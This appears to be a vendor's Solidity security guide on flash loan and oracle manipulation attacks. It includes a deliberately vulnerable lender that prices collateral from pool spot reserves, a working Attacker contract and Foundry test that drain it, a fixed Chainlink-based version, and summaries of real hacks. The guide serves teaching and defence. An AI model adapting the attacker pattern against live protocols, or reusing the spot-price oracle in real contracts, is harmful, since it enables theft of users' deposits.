Flash loan attacks and oracle manipulation in Solidity

Updated October 26, 2026

Definition

What a flash loan attack is

A flash loan lends tokens without collateral, on the condition that they are returned in the same transaction (EIP-3156). If the borrower does not repay, the whole transaction reverts. On Aave V3 the fee is set at deployment to 0.05% and can be changed by a governance vote (Aave docs).

A flash loan is not a bug. A flash loan attack uses the borrowed capital to move a value a contract trusts, such as a pool price, a share price or a vote count, within one transaction.

The OWASP Smart Contract Top 10 for 2026 lists SC03 Price Oracle Manipulation and SC04 Flash Loan-Facilitated Attacks (SC02 and SC07 in the 2025 list: SC02, SC07).

Oracle

How flash loans manipulate a price oracle

If a lending protocol values collateral from a DEX pool's current reserves, an attacker can take a flash loan, buy the asset, and make the lending contract see a higher-than-normal price (ethereum.org). The attacker borrows against that price, sells the asset back and repays the loan. The protocol keeps a loan its collateral does not cover.

Types

Types of flash loan attacks

  • Spot-price AMM oracle: the protocol reads a price from current pool reserves or pool state, which one large swap moves (OWASP SC03). The example below and the Makina hack use this path.
  • Donation and share-price inflation: the protocol computes a rate from its own token balance, so tokens sent straight to the contract change it. In the ERC-4626 inflation attack, a donation moves an empty vault's exchange rate (OpenZeppelin ERC-4626 docs). Euler's 2023 loss went through a donation function.
  • Governance flash-vote: the attacker borrows governance tokens, passes a proposal and repays in the same transaction (ethereum.org). Beanstalk lost funds this way in 2022.
  • Rate manipulation: interest or rewards depend on a figure, such as utilization, that a large deposit or borrow can move. BiFi Lending in 2026 is an example.

Example

A vulnerable contract

VulnerableLender lets a user borrow up to 50% of their collateral's value. It values the collateral token (COL) from the current reserves of a COL/USD pool.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// Same interface as Chainlink's AggregatorV3Interface (@chainlink/contracts).
interface AggregatorV3Interface {
    function decimals() external view returns (uint8);
    function latestRoundData()
        external
        view
        returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}

abstract contract Lender {
    IERC20 public immutable col;
    IERC20 public immutable usd;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;

    constructor(IERC20 _col, IERC20 _usd) {
        col = _col;
        usd = _usd;
    }

    // USD value of 1 COL, 18 decimals.
    function colPrice() public view virtual returns (uint256);

    function depositAndBorrow(uint256 colAmount, uint256 usdAmount) external {
        col.transferFrom(msg.sender, address(this), colAmount);
        collateral[msg.sender] += colAmount;
        debt[msg.sender] += usdAmount;

        // Borrow up to 50% of the collateral value.
        uint256 value = (collateral[msg.sender] * colPrice()) / 1e18;
        require(debt[msg.sender] <= value / 2, "undercollateralized");

        usd.transfer(msg.sender, usdAmount);
    }
}

// THIS CONTRACT CONTAINS A BUG. DO NOT USE.
contract VulnerableLender is Lender {
    SimplePool public immutable pool;

    constructor(IERC20 _col, IERC20 _usd, SimplePool _pool) Lender(_col, _usd) {
        pool = _pool;
    }

    // Spot price from current pool reserves: one large swap moves it.
    function colPrice() public view override returns (uint256) {
        return (pool.reserveUsd() * 1e18) / pool.reserveCol();
    }
}
Supporting contracts: a minimal pool and flash lender (needed to run the test)

      // Minimal constant-product pool (x * y = k, no fee). Example only.
contract SimplePool {
    IERC20 public immutable col; // collateral token
    IERC20 public immutable usd; // stablecoin
    uint256 public reserveCol;
    uint256 public reserveUsd;

    constructor(IERC20 _col, IERC20 _usd) {
        col = _col;
        usd = _usd;
    }

    function addLiquidity(uint256 colAmount, uint256 usdAmount) external {
        col.transferFrom(msg.sender, address(this), colAmount);
        usd.transferFrom(msg.sender, address(this), usdAmount);
        reserveCol += colAmount;
        reserveUsd += usdAmount;
    }

    function swap(IERC20 tokenIn, uint256 amountIn) external returns (uint256 amountOut) {
        bool colIn = address(tokenIn) == address(col);
        (uint256 rIn, uint256 rOut) = colIn ? (reserveCol, reserveUsd) : (reserveUsd, reserveCol);
        amountOut = (rOut * amountIn) / (rIn + amountIn);

        tokenIn.transferFrom(msg.sender, address(this), amountIn);
        (colIn ? usd : col).transfer(msg.sender, amountOut);

        if (colIn) {
            reserveCol += amountIn;
            reserveUsd -= amountOut;
        } else {
            reserveUsd += amountIn;
            reserveCol -= amountOut;
        }
    }
}

// Lends tokens for one transaction, in the shape of ERC-3156 (no fee).
interface IFlashBorrower {
    function onFlashLoan(uint256 amount) external;
}

contract FlashLender {
    IERC20 public immutable token;

    constructor(IERC20 _token) {
        token = _token;
    }

    function flashLoan(IFlashBorrower receiver, uint256 amount) external {
        uint256 before = token.balanceOf(address(this));
        token.transfer(address(receiver), amount);
        receiver.onFlashLoan(amount);
        require(token.balanceOf(address(this)) >= before, "loan not repaid");
    }
}
    

Attack

The attack

The pool starts with 1,000 COL and 100,000 USD, so 1 COL = 100 USD. The attacker owns 100 COL, worth 10,000 USD, and the lender holds 200,000 USD of other users' deposits. In one transaction the attacker:

  1. Takes a flash loan of 900,000 USD and buys COL with it. The pool now holds 100 COL and 1,000,000 USD, so its spot price is 10,000 USD per COL.
  2. Deposits their own 100 COL, now valued at 1,000,000 USD, and borrows all 200,000 USD the lender holds.
  3. Sells the 900 COL back. The pool returns to 1,000 COL and 100,000 USD.
  4. Repays the 900,000 USD loan.

The attacker keeps 200,000 USD for 100 COL worth 10,000 USD.

contract Attacker is IFlashBorrower {
    FlashLender public immutable flash;
    SimplePool public immutable pool;
    Lender public immutable lender;
    IERC20 public immutable col;
    IERC20 public immutable usd;

    constructor(FlashLender _flash, SimplePool _pool, Lender _lender) {
        flash = _flash;
        pool = _pool;
        lender = _lender;
        col = _pool.col();
        usd = _pool.usd();
    }

    function attack(uint256 loanAmount) external {
        flash.flashLoan(this, loanAmount);
    }

    function onFlashLoan(uint256 amount) external {
        require(msg.sender == address(flash), "only flash lender");

        // 1. Buy COL with the loan. The pool's COL price goes up.
        usd.approve(address(pool), amount);
        uint256 colBought = pool.swap(usd, amount);

        // 2. Post our own COL at the pumped price and borrow everything the lender holds.
        uint256 own = col.balanceOf(address(this)) - colBought;
        col.approve(address(lender), own);
        lender.depositAndBorrow(own, usd.balanceOf(address(lender)));

        // 3. Sell the COL back. The pool price returns to where it was.
        col.approve(address(pool), colBought);
        pool.swap(col, colBought);

        // 4. Repay the loan. The borrowed USD stays with us.
        usd.transfer(address(flash), amount);
    }
}

Fix

The fix: a manipulation-resistant price

Do not read a price from any value one transaction can move. Two standard options:

  1. An oracle network feed. FixedLender reads a Chainlink feed. latestRoundData() returns the answer and its updatedAt timestamp (Chainlink API reference). Feeds update on a deviation threshold or a heartbeat interval (Chainlink architecture), and Chainlink recommends detecting stale values (Chainlink: selecting data feeds). The contract rejects a price older than the heartbeat.
  2. A time-weighted average price (TWAP). For a simple Uniswap v2 TWAP, the cost of manipulation grows roughly linearly with pool liquidity and with the averaging window (Uniswap v2 oracle docs). Short windows can still be manipulated (OWASP SC03).
contract FixedLender is Lender {
    AggregatorV3Interface public immutable feed;
    uint256 public constant MAX_DELAY = 1 hours; // set from the feed's heartbeat

    constructor(IERC20 _col, IERC20 _usd, AggregatorV3Interface _feed) Lender(_col, _usd) {
        feed = _feed;
    }

    // Price from an oracle network, not from a pool the borrower can trade against.
    function colPrice() public view override returns (uint256) {
        (, int256 answer,, uint256 updatedAt,) = feed.latestRoundData();
        require(answer > 0, "bad price");
        require(block.timestamp - updatedAt <= MAX_DELAY, "stale price");
        return uint256(answer) * 10 ** (18 - feed.decimals());
    }
}

For vaults, OpenZeppelin's ERC-4626 uses virtual shares and assets so a donation does not pay off (OpenZeppelin ERC-4626 docs). For governance, ERC20Votes reads voting power from past snapshots (OpenZeppelin governance docs), and a timelock delays execution (ethereum.org).

Testing

How to test for flash loan attacks

Write a flash loan test

This Foundry test drains VulnerableLender, shows that FixedLender rejects the same attack, and checks that a stale feed reverts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {
    SimplePool, Lender, VulnerableLender, FixedLender, FlashLender, Attacker, AggregatorV3Interface
} from "../src/Lenders.sol";

contract Token is ERC20 {
    constructor(string memory name) ERC20(name, name) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

// Stands in for a Chainlink COL/USD feed with 8 decimals.
contract MockFeed is AggregatorV3Interface {
    int256 public answer;
    uint256 public updatedAt;

    function set(int256 _answer, uint256 _updatedAt) external {
        answer = _answer;
        updatedAt = _updatedAt;
    }

    function decimals() external pure returns (uint8) {
        return 8;
    }

    function latestRoundData() external view returns (uint80, int256, uint256, uint256, uint80) {
        return (1, answer, updatedAt, updatedAt, 1);
    }
}

contract FlashLoanTest is Test {
    Token col = new Token("COL");
    Token usd = new Token("USD");
    SimplePool pool = new SimplePool(col, usd);
    FlashLender flash = new FlashLender(usd);
    MockFeed feed = new MockFeed();

    function setUp() public {
        vm.warp(1_800_000_000);

        // Pool: 1,000 COL and 100,000 USD, so 1 COL = 100 USD.
        col.mint(address(this), 1_000e18);
        usd.mint(address(this), 100_000e18);
        col.approve(address(pool), type(uint256).max);
        usd.approve(address(pool), type(uint256).max);
        pool.addLiquidity(1_000e18, 100_000e18);

        // Flash lender holds 900,000 USD. The oracle also says 100 USD.
        usd.mint(address(flash), 900_000e18);
        feed.set(100e8, block.timestamp);
    }

    function _newAttacker(Lender lender) internal returns (Attacker attacker) {
        usd.mint(address(lender), 200_000e18); // deposits from other users
        attacker = new Attacker(flash, pool, lender);
        col.mint(address(attacker), 100e18);   // attacker's own COL, worth 10,000 USD
    }

    function test_flashLoanDrainsVulnerableLender() public {
        VulnerableLender lender = new VulnerableLender(col, usd, pool);
        Attacker attacker = _newAttacker(lender);
        attacker.attack(900_000e18);

        assertEq(usd.balanceOf(address(lender)), 0);              // 200,000 USD gone
        assertEq(usd.balanceOf(address(attacker)), 200_000e18);   // for 100 COL
        assertEq(lender.colPrice(), 100e18);                      // pool price is back to 100
    }

    function test_fixedLenderRejectsTheSameAttack() public {
        FixedLender lender = new FixedLender(col, usd, feed);
        Attacker attacker = _newAttacker(lender);

        vm.expectRevert(bytes("undercollateralized"));
        attacker.attack(900_000e18);

        assertEq(usd.balanceOf(address(lender)), 200_000e18);     // deposits stay
    }

    function test_fixedLenderRejectsStalePrice() public {
        FixedLender lender = new FixedLender(col, usd, feed);
        feed.set(100e8, block.timestamp - 2 hours);
        vm.expectRevert(bytes("stale price"));
        lender.colPrice();
    }
}

We ran all three tests with Foundry 1.8.5, solc 0.8.37, forge-std 1.17.0 and OpenZeppelin Contracts 5.7.0. All three pass. In the fixed case, 100 COL at the feed price supports at most 5,000 USD of debt, so the borrow reverts.

Run a static analyzer

Slither has detectors for unchecked Pyth and Chronicle prices, but none for a price read from pool reserves (Slither detectors). On the contracts above, Slither 0.11.6 reports 20 results and none of them on VulnerableLender.colPrice(). Test price logic directly.

slither . --filter-paths "lib|test"

Review every price and balance read by hand

For each value used to price collateral, mint shares, pay rewards or count votes, ask:

  • Can one transaction with a flash loan move it? Pool reserves, balanceOf(address(this)) and utilization can.
  • Is the price time-weighted or multi-source, with stale and zero values rejected?
  • Does voting power come from a snapshot taken before the proposal?

The web3 security checklist has the flash loan checks, and its oracle section covers stale prices and units.

Scan the whole repository

A smart contract scanner runs these checks across every contract at once. Guardix lists oracle and price manipulation among the risk classes each audit covers, and reproduces each critical finding with a working exploit on a mainnet fork (Guardix pricing). For DeFi code, the fork proof of concept can take a flash loan, as in this vault share-price example. A pre-audit costs $200 per audit for one repository at one commit and takes 2 to 10 hours, depending on code size. A scan does not replace a manual audit.

Hacks

Real flash loan and oracle manipulation hacks

Flash loan and oracle manipulation hacks with reported loss and sources
October 17, 2026BiFi Lending165,575 USDT drained, about $6.5K not returnedA flash loan of 40.5 million USDT raised utilization in a market idle for about 36 days, and interest was priced at that rateGuardix: DeFi hacks 2026, Olympix
January 20, 2026Makina Finance$4.13M (1,299 ETH)A flash loan moved Curve pool states that Makina used to compute its share price, in one transactionGuardix: DeFi hacks 2026, rekt.news
March 13, 2023Euler Finance$197MFlash-loaned DAI and Euler's leverage built a position, then donateToReserves made it insolvent without a liquidity checkGuardix: Euler replay, Chainalysis, rekt.news
April 2022Beanstalk$181M taken, $76M kept by the attackerFlash-loaned voting power passed a malicious proposal that sent the protocol's assets to the attackerrekt.news

BiFi Lending, October 2026. BiFi computed deposit interest as blocks since the market's last action times the current rate. After about 264,000 idle blocks, a bot flash-borrowed 40.5 million USDT from Morpho, deposited it, and borrowed about 30 million USDT back to raise utilization. The MEV operator behind it later returned 159,103.65 USDC (Olympix). Full entry: DeFi hacks in 2026.

Makina Finance, January 2026. Rekt quotes ExVul: "The lastTotalAum value is derived from Curve pool states which can be manipulated within a single atomic transaction via flash loans." Rekt cites CertiK for $280 million borrowed and notes that an audit competition listed this attack as out of scope (rekt.news). Full entry: DeFi hacks in 2026.

Euler Finance, March 2023. The attacker flash-borrowed about $30 million in DAI from Aave and used two contracts: one created bad debt through donateToReserves, the other liquidated it at a discount (Chainalysis). Run on the pre-hack code, Guardix flagged donateToReserves (EToken.sol, lines 359 to 386) as a high-severity hypothesis. Validation did not run, and its scenario differs from the attacker's path. Details and limits: Euler Finance replay.

Beanstalk, April 2022. Rekt calls it "a governance attack made possible through the use of flash loans combined with the absence of a delay on proposal execution" (rekt.news).

Oracle manipulation does not always need a flash loan. Nostra on Starknet lost about $3.5M in September 2026 after a thin-liquidity pool price entered its oracle, and rekt reports no flash loan was used (Guardix: DeFi hacks 2026, rekt.news). In the Tectonic hack on Cronos in August 2026, rekt quotes RedStone's co-founder arguing that TONIC collateral was valued through a thin on-chain pool and Tectonic's internal price feed (rekt.news, Guardix: biggest hacks of 2026).

More 2026 incidents, sorted by bug class: DeFi hacks in 2026. For callback bugs, see reentrancy.

FAQ

FAQ

What is a flash loan attack?
An attacker borrows without collateral, moves a value a protocol trusts, such as a pool price or vote count, profits from the wrong value, and repays in the same transaction.
What is oracle manipulation?
Changing the price a contract reads so it values assets wrongly, often by moving a DEX pool's spot price with a flash-loan-funded trade (OWASP SC03).
Are flash loans a vulnerability?
No. They are a lending feature (EIP-3156). The vulnerability is a contract that trusts a value one transaction can move.
How do you prevent flash loan attacks in Solidity?
Use an oracle network or a TWAP instead of pool reserves, reject stale prices, do not derive share prices from balances anyone can change, and read votes from past snapshots behind a timelock.
Does a TWAP fully prevent oracle manipulation?
No. It makes manipulation more expensive. OWASP lists TWAP manipulation over short windows or during low liquidity as a risk.
Can a scanner find flash loan bugs?
Not reliably. Slither 0.11.6 reported nothing on the spot-price read above. A one-transaction attack test or a fork exploit shows whether a value can be moved.

All vulnerability guides.